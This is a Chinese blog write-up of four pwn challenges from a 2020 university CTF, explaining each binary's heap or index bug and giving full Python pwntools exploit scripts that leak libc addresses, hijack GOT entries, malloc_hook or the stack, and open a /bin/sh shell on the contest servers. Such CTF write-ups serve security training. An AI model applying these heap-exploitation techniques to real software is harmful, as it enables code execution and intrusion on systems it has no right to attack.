目录
  1. 1. easyheap
    1. 1.1. 漏洞点
    2. 1.2. 思路
    3. 1.3. exp
  2. 2. woodenbox2
    1. 2.1. 漏洞点
    2. 2.2. 思路
    3. 2.3. exp
  3. 3. bjut
    1. 3.1. 漏洞点
    2. 3.2. 思路
    3. 3.3. exp
  4. 4. musl
    1. 4.1. 漏洞点
    2. 4.2. 思路
    3. 4.3. exp
高校战“疫”网络安全分享赛 pwn 复现

easyheap

程序没开PIE,got表可写

漏洞点

ptr[v1]清零了,但*(void **)ptr[v1]没有清零。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int sub_4009E4()
{
int v1; // [rsp+Ch] [rbp-4h]

if ( ++dword_6020AC > 4 )
return puts("Delete failed.");
puts("What is the index of the item to be deleted?");
v1 = sub_400890();
if ( v1 < 0 || v1 > 6 || !ptr[v1] )
return puts("Delete failed.");
free(*(void **)ptr[v1]);
free(ptr[v1]);
ptr[v1] = 0LL;
return puts("Delete successfully.");
}

思路

首先申请俩次堆块都是0x10,然后free掉,看到add函数里是先进行malloc(0x10),然后在做check,然后再申请check(0x400),所以由于free之后会残留指针,在free掉俩个堆块之后,故意输入大数字让他check size fail直接返回,然后申请一个0x10的堆块就可以实现堆块重叠。通过edit前俩次的堆块来覆盖最后一次malloc的堆块的ptr指针来指向chunk_list的位置,然后伪造chunk结构指向got,并且show一下就可以知道libc了,然后修改free_got为system然后free一个内容为/bin/sh的堆块就可以开启shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
#context.terminal = ['tmux', 'sp', '-h', '-l', '110']
if sys.argv[1]=="l":
io=process('./easyheap')
lib=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io=remote('121.36.209.145',9997)
lib=ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf=ELF('./easyheap')

def choice(idx):
io.sendlineafter('Your choice:\n', str(idx))


def add(size, content):
choice(1)
io.sendafter('this message?\n', str(size))
if size< 0x400:
io.sendafter('content of the message?\n', content)

def dele(idx):
choice(2)
io.sendlineafter('deleted?\n',str(idx))

def edit(idx, content):
choice(3)
io.sendlineafter('modified?\n',str(idx))
io.sendafter('message?\n', content)

# ------------------------------------------------
onegadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
chunk_list=0x6020C0
# ------------------------------------------------
add(0x18,0x18 * "\x10") #0
add(0x18,0x18 * "\x11") #1
dele(0)
add(0x500,'')
dele(1)
add(0x500,'')

add(0x18,0x18 * '\x12') #2
edit(1,p64(0) + p64(0x18) + p64(chunk_list))
edit(2,p64(chunk_list + 8) + p64(chunk_list))
edit(0,p64(chunk_list + 8) + p64(chunk_list) + p64(chunk_list + 0x18) + p64(elf.got['free']) + p64(elf.got['__libc_start_main']) + p64(chunk_list + 0x30) + p64(elf.got['free']) + p64(elf.got['free']))

edit(2,p64(elf.plt['puts']))
dele(4)
__libc_start_main = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
libc = __libc_start_main - lib.symbols[b'__libc_start_main']
lib.address = libc
system = lib.symbols['system']
binsh = lib.search("/bin/sh\x00").next()
__dele_hook = lib.symbols['__free_hook']
__malloc_hook = lib.symbols['__malloc_hook']
__realloc_hook = lib.symbols['__realloc_hook']

edit(5,p64(system))
edit(0,p64(chunk_list + 8) + p64(binsh))
dele(0)
io.interactive()

woodenbox2

got表可写,其余保护全开

漏洞点

change_item()函数里面没有对size做限制,堆溢出。

思路

题目难点在于没有输出功能,需要打io_file泄露libc基址。然后fastbin attack 打malloc_hook,这里onegadget失效,用realloc 调整偏移即可。
iofile泄露原理可参考EX师傅博客http://blog.eonew.cn/archives/1190

exp

成功率 16分之一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
#context.log_level = 'debug'
#context.terminal = ['tmux', 'sp', '-h', '-l', '110']

def exp():
try:
if sys.argv[1]=="l":
io=process('./woodenbox2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io=remote('121.36.215.224',9998)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf=ELF('./woodenbox2')

def choice(idx):
io.sendlineafter('Your choice:', str(idx))


def add(size, content):
choice(1)
io.sendlineafter(':', str(size))
io.sendafter(':', content)

def free(idx):
choice(3)
io.sendlineafter(':',str(idx))

def edit(idx,size, content):
choice(2)
io.sendlineafter(':',str(idx))
io.sendlineafter(':',str(size))
io.sendafter(':', content)

# ------------------------------------------------
iofile_off = [0x25dd,0xf5eb] #_IO_2_1_stderr_+157
onegadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

# ------------------------------------------------

add(0x20,'aaaa')#0
add(0x40,'aaaa')#1
add(0x60,'aaaa')#2
add(0xa0,'aaaa')#3

edit(0,0x40,'a'*0x20+p64(0)+p64(0xc1))
free(1) #1
free(1) #2
add(0x40,'bbbb') #0
edit(0,0x60,'a'*0x40+p64(0)+p64(0x71)+p16(iofile_off[0]))
add(0x60,'aaaa') # 2
add(0x60,'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+"\x00") #3
io.recv(0x40)
leak=u64(io.recv(8))
info(hex(leak))
libc.address = leak-(0x7f35bc64a600-0x7f35bc285000)
log.success(hex(libc.address))
malloc_hook = libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
one = libc.address+onegadgets[1]
log.success(hex(malloc_hook))

add(0x60,'cccc')#4
add(0x60,'dddd')#5
free(5)
edit(0,0x100,0xa0*'\x17'+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x60,'bbbb')
add(0x60,'d'*0xb+p64(one)+p64(libc.symbols["realloc"]+13))
choice(1)
io.sendlineafter(':', str(60))
io.interactive()
except Exception as e:
print(e)
io.close()

while True:
exp()

bjut

got表可写,pie没开

漏洞点

show 和 edit功能,可以输入负数,造成数组上溢。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 edit()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("The index of your hw:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 15 && qword_404140[v1] )
{
puts("Input your hw:");
read(0, qword_404140[v1], dword_4040E0[v1]);
}
else
{
puts("out of range!");
}
return __readfsqword(0x28u) ^ v2;
}

思路

通过数组上溢泄露free_got内容,然后修改 free_got为system,然后释放/bin/sh的堆块

exp

musl

做这个题的时候当时是蒙的,使用的是musl libc跟平时的glibc有很大差异。其中最大的差异是muls不支持延迟绑定,没有 malloc_hook等
具体参考 https://my.oschina.net/u/2306127/blog/1592004

漏洞点

add功能有一次堆溢出的机会

思路

溢出修改size然后free造成overlapping
free时检查了in_use和下一个chunk的prev_size,提前伪造好prev_size
overlapping后再取出来,可以uaf,free chunk的链表头部在libc,uaf之后show泄露libc地址,然后edit把fd和bk改为0x602030,利用双向链表写fd bk的操作把一个堆地址写入0x602040,将heap_store劫持到堆上,实现任意地址读写
show和edit的次数有限制,但是可以通过任意地址读写覆盖计数器
got plt都不可写,没有hook
可以通过任意地址读写改写栈,getshell
利用任意地址读,读libc中的environ泄露栈地址,算出栈顶地址,然后利用任意地址写覆盖返回地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
#context.terminal = ['tmux', 'sp', '-h', '-l', '110']
if sys.argv[1]=="l":
r=process(['./libc.so','./carbon'])
libc=ELF('libc.so')
else:
r=remote('119.3.158.103',19008)
libc=ELF('libc.so')


def add(size,data):
r.recvuntil('>')
r.sendline('1')
r.recvuntil('What is your prefer size? >')
r.sendline(str(size))
r.recvuntil('Are you a believer? >')
r.sendline('wdnmd')
r.recvuntil('Say hello to your new sleeve >')
r.sendline(data)

def gg_add(size,data):
r.recvuntil('>')
r.sendline('1')
r.recvuntil('What is your prefer size? >')
r.sendline(str(size))
r.recvuntil('Are you a believer? >')
r.sendline('Y\x00')
r.recvuntil('Say hello to your new sleeve >')
r.sendline(data)

def free(index):
r.recvuntil('>')
r.sendline('2')
r.recvuntil('What is your sleeve ID? >')
r.sendline(str(index))

def edit(index,data):
r.recvuntil('>')
r.sendline('3')
r.recvuntil('What is your sleeve ID? >')
r.sendline(str(index))
sleep(0.5)
r.sendline(data)

def show(index):
r.recvuntil('>')
r.sendline('4')
r.recvuntil('What is your sleeve ID? >')
r.sendline(str(index))

heap_store = 0x602030
#add-symbol-file libc.so 0x8000000
#x/64gx 0x82953b0
#x/20gx 0x00007fffff7e0000
add(0x10,'gg')#0
add(0x30,'gg')#1
add(0x50,p64(0)*6+p64(0x81)+p64(0xa1))#2
add(0x40,'gg')#3
add(0x20,'gg')#4
add(0x20,p64(0x40)+p64(heap_store))#5

free(0)

gg_add(0x10,'a'*0x10+p64(0x21)+p64(0x81))#0
free(1)

add(0x30,'gg')#1
add(0x30,'gg')#2 6

free(2)
show(6)
leak = u64(r.recvuntil('Done.',drop=True).ljust(8,'\x00'))
info(hex(leak))
gdb.attach(r)
pause()
libc_base = leak-0x292ad8
log.success(hex(libc_base))
system = libc_base+libc.sym['system']
edit(6,p64(heap_store)*2)
free(4)

add(0x30,p64(heap_store))#pwn
environ = libc_base+0x294FD8
log.success(hex(environ))

add(0x60,p64(0x71)+p64(environ)+p64(0x71)+p64(libc_base+0x8295570-0x8000000))# environ 9
edit(5,p64(0))
show(9)
leak = u64(r.recvuntil('Done.',drop=True).ljust(8,'\x00'))
stack_rsp = leak-0x118
log.success(hex(stack_rsp))
#gg_stack = 0x7ffffffee638
#print(hex(gg_stack-stack_rsp))
gg_stack = 0xa0+stack_rsp
binsh = libc.search('/bin/sh\x00').next()+libc_base
edit(10,p64(0x71)+p64(gg_stack)+'/bin/sh'.ljust(8,'\x00')+p64(0)+p64(0x41)+p64(binsh))
edit(5,p64(0))
#show(12) test libc_addr
pause()
menu = 0x400c2f
flag = libc_base+0x8295580-0x8000000
pop_rdi_ret = libc_base+0x14862
pop_rsi_ret = libc_base+0x1c237
pop_rdx_ret = libc_base+0x1b92

puts_addr = libc_base+libc.sym['puts']
#edit(10,p64(menu)*10)
edit(10,p64(menu)+p64(pop_rdi_ret)+p64(flag)+p64(system)+p64(menu))
r.interactive()
文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/03/09/高校战“疫”网络安全分享赛-pwn-复现/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝